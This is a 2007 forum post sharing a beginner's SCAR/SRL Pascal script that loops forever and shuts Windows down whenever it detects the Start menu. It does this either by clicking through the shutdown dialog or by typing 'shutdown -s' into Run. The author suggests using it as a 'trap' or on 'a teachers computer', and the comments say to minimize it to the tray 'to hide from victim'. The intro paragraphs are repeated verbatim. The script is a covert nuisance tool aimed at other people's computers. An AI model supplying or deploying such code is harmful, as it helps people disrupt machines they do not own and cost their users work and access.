Garrett Weir
2007-08-26 03:03:31
Well I was bored so i put together a script it is my first script but it works great.
To use this properly you are going to want to use it as a trap. Or maybe just as an extra security feature to keep out all those other noobs using your computer… or maybe you want to have fun on a teachers computer?
Well I wrote this script to make it shutdown the computer whenever it sees the Start menu symbol(ie. bottom left hand corner). The True Option works for Windows XP and the False Option works for most Windows Operating Systems(except Vista).
I have also made an Auto Picture Spammer For Myspace but I left it at my other computer at my house and will release soon.
To use this properly you are going to want to use it as a trap. Or maybe just as an extra security feature to keep out all those other noobs using your computer… or maybe you want to have fun on a teachers computer?
Well I wrote this script to make it shutdown the computer whenever it sees the Start menu symbol(ie. bottom left hand corner). The True Option works for Windows XP and the False Option works for most Windows Operating Systems(except Vista).
I have also made an Auto Picture Spammer For Myspace but I left it at my other computer at my house and will release soon.
//version 1.0 created by Jonga Skins for the SRL community.//
//Please give credits if manipulated or changed. //
//$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
//#######$$$######$$$####$$$####$$$#######$$$$$####$$$$$$$$$$
//$$##$$$$$##$$$$##$$#####$$####$$$##$$$$##$$$##$$##$$$$$$$$$
//$$##$$$$$##$$$$##$$##$###$####$$$##$$$$$$$$########$$$$$$$$
//$$##$$$$$##$$$$##$$##$$#######$$$##$$####$$##$$$$##$$$$$$$$
//$$##$$$$$##$$$$##$$##$$$$#####$$$##$$$$##$$##$$$$##$$$$$$$$
//####$$$$$$######$$$##$$$$$$###$$$########$$##$$$$##$$$$$$$$
//$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
//To Setup Right Click The Task Bar And Click Properties,
//Then Check Auto Hide.
//Whenever Someone Unexepected Comes And Tries To Load Use The
//Start Menu It Will Shut Down.
//Once Running Either Hit Ctrl+M Or Click View And Minimize To Tray
//To hide from victim.
//Switch the option between your preference. Option False is faster.
var startmenu, shutdown, shutdown2, okbutton, run, x, y, x1, y1, x2, y2, x3,
y3, x4, y4, x5, y5: integer;
Option: boolean;
begin
Option :=true //states which way the computer shuts down use true and false.
//Option True - Shuts Down the computer like a human would.
//Option False - Shuts Down a computer using the command prompt.
repeat
if option=true then
begin;
startmenu := DTMFromString('78DA63D466606010644001A1ED960CFF81342' +
'310FF0702465E4C35B18DFFC1342394CFC80F243851D5FCAF1644' +
'55230E2444D0D45CE34655130124D850D5DCFA7012554D1490904' +
'4559376B800450D0024D610FF');
if finddtm(startmenu,x,y,0,734,101,765)then
begin;
wait(1000)
movemousesmooth(x,y)
clickmouse(x,y,true)
freedtm(startmenu)
end;
shutdown := DTMFromString('78DA63E4666060006124F0FFFF7F30CD08E53' +
'30A03096654358FE36C31D508A3AA7966C78EAA861953CD035F75' +
'4C352CA86A3EAE9A81AA06E45E4154357F5E3EC654C34AC05F6C9' +
'87EFF79EF06AA1A903D3CA86A7E3FBB8FA20600318F153D');
if finddtm(shutdown,x1,y1,245,698,292,733)then
begin;
clickmouse(x1,y1,true)
wait(1000)
freedtm(shutdown)
end;
begin;
shutdown2 := DTMFromString('78DA6314606060006124F0FFFF7F30CD08E53' +
'3B200096954358F027530D5B0A2AAF9B5663EAA1A494C35CF53DC' +
'50D580EC91435573DB9213550DC8BD52A86AFEFDFB89A9868380B' +
'FD830FDFEEFDF3F4C3713081F00EAA1166B');
if finddtm(shutdown2,x2,y2,352,200,675,395)then
begin;
wait(1000)
clickmouse(x2,y2,true)
wait(1000)
end;
end;
end;
if option=false then
begin;
startmenu := DTMFromString('78DA63D466606010644001A1ED960CFF81342' +
'310FF0702465E4C35B18DFFC1342394CFC80F243851D5FCAF1644' +
'55230E2444D0D45CE34655130124D850D5DCFA7012554D1490904' +
'4559376B800450D0024D610FF');
if finddtm(startmenu,x3,y3,0,734,101,765)then
begin;
wait(1000)
movemousesmooth(x3,y3)
clickmouse(x3,y3,true)
freedtm(startmenu)
end;
begin;
wait(1000)
run := DTMFromString('78DA63E4616060E06040019F3FBE05D38C503' +
'E231390E0465553D2B612530D3BAA9A6DBB0F61AA614555D3D233' +
'0F530D33AA9AD317AEA1AA1100123CA86ADA66EE465523022498D' +
'0DCBCE3298A1A00842E0F28');
if finddtm(run,x4,y4,192,661,266,691)then
begin;
wait(1000)
clickmouse(x4,y4,true)
freedtm(run)
end;
end;
begin;
sendkeys('shutdown -s')
okbutton := DTMFromString('78DA6354606060E06640018F9F7E00D38C503' +
'EA32C90E064C00AE06A40E6F01150A30C24B88830879D801A5522' +
'D510728F26116A3430EDFAF6FD2F66F8F01030470E48F01250A34' +
'4A41A0E22EC22A486054830A1CAEDB9F20D550D485E08554DE7DA' +
'27A86ADC885443C02E00450E122C');
if finddtm(okbutton,x5,y5,91,712,170,745)then
begin;
wait(1000)
clickmouse(x5,y5,true)
freedtm(okbutton)
end;
end;
end;
until(false)
end.